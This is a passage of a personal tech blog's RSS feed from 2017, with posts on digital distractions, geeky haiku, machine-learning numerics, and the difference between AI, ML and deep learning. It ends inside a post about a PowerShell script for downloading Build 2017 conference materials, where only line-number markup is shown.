&lt;/a&gt;. &lt;p&gt;

    &lt;img src=&#34;images/wlEmoticon-smile-1.png&#34; alt=&#34;Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Remember, this is a hybrid situation; so they are also working on a classical computer to control the quantum computer. And as you can imagine, this isn&amp;rsquo;t for the fain hearted. This classical computer, needs to factor in and transpose various dimensions between the classical and quantum world; some things like communication, heat dissipation, quantum error correction, multiplexing, latency, clock speed, etc.&lt;/p&gt;
&lt;p&gt;We certainly live in a very exciting time and this video below does a nice job to explaining some of the basic principles outlined in this post.&lt;/p&gt;
&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;
      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/7__vKLECrnk?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;
    &lt;/div&gt;

</description>
    </item>
    
    <item>
      <title>Hierarchy of Digital distractions</title>
      <link>/post/2017/08/hierarchy-of-digital-distractions/</link>
      <pubDate>Mon, 14 Aug 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/08/hierarchy-of-digital-distractions/</guid>
      <description>&lt;p&gt;At a recent internal meeting, we were discussing productivity and the various levels of distractions that one has these days. Did you know that there is a hierarchy of digital distractions (see image below). No wonder, in todays connected, and agile world, for some people why it is so difficult to get any actual work done (that is not to suggest that they are not busy of course).&lt;/p&gt;
&lt;p&gt;At this meeting, analogy of the distraction was coined as the “monkey” – the monkey that each of us has on our shoulder and the constant attention it demands – I.e. the distraction. And we all know we cannot control this monkey and bottle it up. The idea isn’t to try and bottle it up, which will rattle it more trying to get out and demand more attention – but rather let it out in a controlled manner for some time – similar to how one would take a dog out for a walk (of course different outcomes) ! 😄&lt;/p&gt;
&lt;p&gt;So instead of avoiding distractions, which might be very difficult for some folks, the idea is to let it out in a controlled manner – so the monkey is entertained and happy. This will help concentrate on the rest of the times and enable one to be more productive. And the science behind is how our brains gets the same effect as with drugs, and the ‘pleasure’ effects – it is both fascinating and scary.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;Chart showing in a pyramid the various types of digital distractions&#34;/&gt;
        &lt;figcaption&gt;Digital distractions hierarchy&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Parenting Geek</title>
      <link>/post/2017/08/parenting-geek/</link>
      <pubDate>Sat, 12 Aug 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/08/parenting-geek/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/parenting-geeks-724x1024.jpg&#34; alt=&#34;Parenting geek joke&#34;/&gt;
        &lt;figcaption&gt;Parenting geek&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Production release</title>
      <link>/post/2017/08/production-release/</link>
      <pubDate>Tue, 08 Aug 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/08/production-release/</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;I wakey wakey. Production release today. No breaky breaky.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;#Haiku #GeekyHaiku #GeekyJokes&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Chaos</title>
      <link>/post/2017/07/chaos/</link>
      <pubDate>Tue, 25 Jul 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/07/chaos/</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Chaos reigns within.&lt;/p&gt;
&lt;p&gt;Reflect, repent, and reboot.&lt;/p&gt;
&lt;p&gt;Order shall return.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;#haiku #GeekyHaiku&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Oh what a mess</title>
      <link>/post/2017/07/oh-what-a-mess/</link>
      <pubDate>Tue, 11 Jul 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/07/oh-what-a-mess/</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Ridiculous mess&lt;/p&gt;
&lt;p&gt;iOS development&lt;/p&gt;
&lt;p&gt;conceived by hipsters&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;#Haiku #GeekyHaiku #GeekyJokes&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Machine Learning basics</title>
      <link>/post/2017/06/machine-learning-basics/</link>
      <pubDate>Sun, 04 Jun 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/06/machine-learning-basics/</guid>
      <description>&lt;p&gt;Thinking about #machinelearning? It will be helpful to understand some numerical computations and concepts that affect the #ML algorithm. &lt;/p&gt;
&lt;p&gt;One might not interact with these directly, but we surely can feel the effect. The things you need to think about are:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Overflow and underflow&lt;/strong&gt; - thinking of them as rounding up or down errors that shift the functions enough, and compounded across the iterations cam be devastating. Of course can also easily get to division by zero. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Poor conditioning&lt;/strong&gt; - essentially with small changes of input data, how large can the output move. You want this small. (And in cryptography you want the opposite, and large). &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Gradient optimizations&lt;/strong&gt; - there will be some optimization happening in the algorithm, question is how does it handle various local points on the curve? Local minimum, saddle points, and local maximum. Generally speaking, it&amp;rsquo;s about optimizing continuous spaces.&lt;/p&gt;
&lt;p&gt;Some algorithms take this a step further by measuring a second derivative (think of it as measuring the derivative of a derivative - the curvature of a function). &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Constrained Optimization&lt;/strong&gt; - sometimes we just want to operate on a subset - so constraints only on that set. &lt;/p&gt;
&lt;p&gt;All of these come into play some way, directly or indirectly and having a basic understanding and constraints around this would help a long way.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Whats the difference between #AI, #ML, and #DeepLearning?</title>
      <link>/post/2017/05/whats-the-difference-between-ai-ml-and-deeplearning/</link>
      <pubDate>Thu, 25 May 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/05/whats-the-difference-between-ai-ml-and-deeplearning/</guid>
      <description>&lt;p&gt;I know I have had to explain this a lot in most #AI related conversations that I have had - and lately those have been quite a lot. In my experience, most people use these terms interchangeably when they are meaning one over the other.&lt;/p&gt;
&lt;p&gt;Whilst they all are (inter)related and one might help trigger the other, they are still fundamentally different and at some point, it is good to understand the differences. I like the image below (&lt;a
	
		href = &#34;https://blogs.nvidia.com/blog/2016/07/29/whats-difference-artificial-intelligence-machine-learning-deep-learning-ai/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		source
	&lt;/span&gt;
&lt;/a&gt;) that whilst on one hand is showing a time graph, the correlation between them and how one is a subset of the other is what is interesting.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/Deep_Learning_Icons_R5_PNG.jpg-1024x651.png&#34; alt=&#34;AI vs Machine Learning vs Deep Learning&#34;/&gt;
        &lt;figcaption&gt;#AI vs #ML vs #DNN&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;#AI is getting more powerful and the potential of it which personally really excites me is the paradigm shift we are starting to see. Fundamentally it is changing on how we use, interact, and, value computers and technology.&lt;/p&gt;
&lt;p&gt;It is shifting from us learning machines and their idiosyncrasies (remember when being computer literate was a differentiator on a resume) to this shift where technology learns us and interacts with us in a more natural, and dare I say human manner.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/AI-TechSwing-1024x498.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;AI paradigm shift&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;I almost see it as &lt;a
	
		href = &#34;http://www.startrek.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		StarTrek
	&lt;/span&gt;
&lt;/a&gt; (and now showing my age) - the computer is everywhere, yet it is no where. It is embedded and woven into everything we do on the Enterprise rather an some &amp;ldquo;thing&amp;rdquo; one interacts with.&lt;/p&gt;
&lt;p&gt;And it is awesome to start seeing some of this coming to life, even if it is in a demo as outlined at Build a couple of weeks ago. #AI in the Workplace and how it interacts with objects in real-time and can invoke and interact Business workflow (such as workplace policies).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/clip_image0196-1024x576.png&#34; alt=&#34;AI in Workplace&#34;/&gt;
        &lt;figcaption&gt;AI in Workplace&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/clip_image0216_Amit-Book_May-23-135946-2017_Conflict-1024x576.png&#34; alt=&#34;Policy violation - detected using AI&#34;/&gt;
        &lt;figcaption&gt;Policy violation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;The degree of calculations is pretty phenomenal - 27 million / sec [separately I would love to understand the definition on calculation 😄]. But then given where we are heading with a fully autonomous car generating about 100GB of data each second, this isn&amp;rsquo;t small potatoes.&lt;/p&gt;
&lt;p&gt;And whilst you can read up more on &lt;a
	
		href = &#34;http://www.techrepublic.com/article/machine-learning-the-smart-persons-guide/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		these terms and how they link
	&lt;/span&gt;
&lt;/a&gt;, I really like to move away from the different terms which most people confuse in the first place and start thinking of more business outcomes and how enterprises and people will use.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/AI.jpg&#34; alt=&#34;AI&#34;/&gt;
        &lt;figcaption&gt;AI&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;To that end, the three buckets of Intelligent Automation, Robotic Process Automation (RPA), and Physical Automation is what we have found work better. On RPA, the one caveat being that it is not about robots, but rather the automation of a (business) process. The robots aspect would fall under physical automation - which essentially is anything that interacts with the real/physical world.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Download Build (2017) decks and video</title>
      <link>/post/2017/05/download-build-2017-decks-and-video/</link>
      <pubDate>Wed, 24 May 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/05/download-build-2017-decks-and-video/</guid>
      <description>&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Modified the script to handle multiple instances but pay heed to the &lt;a
	
		href = &#34;https://twitter.com/bahree/status/870489834174857216&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		warning here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Similar to &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2016/04/12/download-build-2016-decks-and-videos/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		last year
	&lt;/span&gt;
&lt;/a&gt;, I have a PowerShell script that will allow you to download the various PowerPoint decks and videos to watch locally rather than stream. This makes some improvements from the earlier scripts (e.g. if a file is already downloaded it will skip downloading it again) and does the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Creates the relevant folder which includes the Session details (including the Title, and the Presenters)&lt;/li&gt;
&lt;li&gt;For each session, saves the description in a text file in the created folder.&lt;/li&gt;
&lt;li&gt;Downloads the relevant presentation (if any)&lt;/li&gt;
&lt;li&gt;Downloads a jpg which shows the image session – sometimes it is easier just to see the title slide. I thought better to have it and not use it, than the other way.&lt;/li&gt;
&lt;li&gt;And finally downloads the high-quality video of that session.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In the script, you can change the following (and if you understand Build then this should be easy):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Change the path where to download this to (default is d:\build)&lt;/li&gt;
&lt;li&gt;Choose a lower quality video if you prefer (which of course takes less space and might not be bad depending on which device you are seeing). Of course this also uses less bandwidth.&lt;/li&gt;
&lt;li&gt;Of course. And if you want only the decks, then you can comment out parts of the script where it doesn’t download the video.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The script will spit out some basic errors and will &amp;rsquo;eat&amp;rsquo; some of the exceptions that are expected (e.g. every session doesn&amp;rsquo;t have a pptx or a video). That won&amp;rsquo;t break the script, it will just move to the next session.&lt;/p&gt;
&lt;p&gt;And finally here is the script:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;  1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;  2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;  3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;  4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;  5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;  6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;  7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt;  8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt;  9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt; 10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt; 11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt; 12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt; 13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt; 14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt; 15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt; 16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt; 17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt; 18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt; 19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt; 20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt; 21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt; 22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt; 23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt; 24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt; 25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt; 26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt; 27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt; 28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt; 29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt; 30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt; 31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt; 32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt; 33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt; 34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt; 35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt; 36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt; 37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt; 38&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt; 39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt; 40&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt; 41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt; 42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt; 43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt; 44&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;45&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#45&#34;&gt; 45&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;46&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#46&#34;&gt; 46&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;47&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#47&#34;&gt; 47&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;48&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#48&#34;&gt; 48&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;49&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#49&#34;&gt; 49&lt;/a&gt;
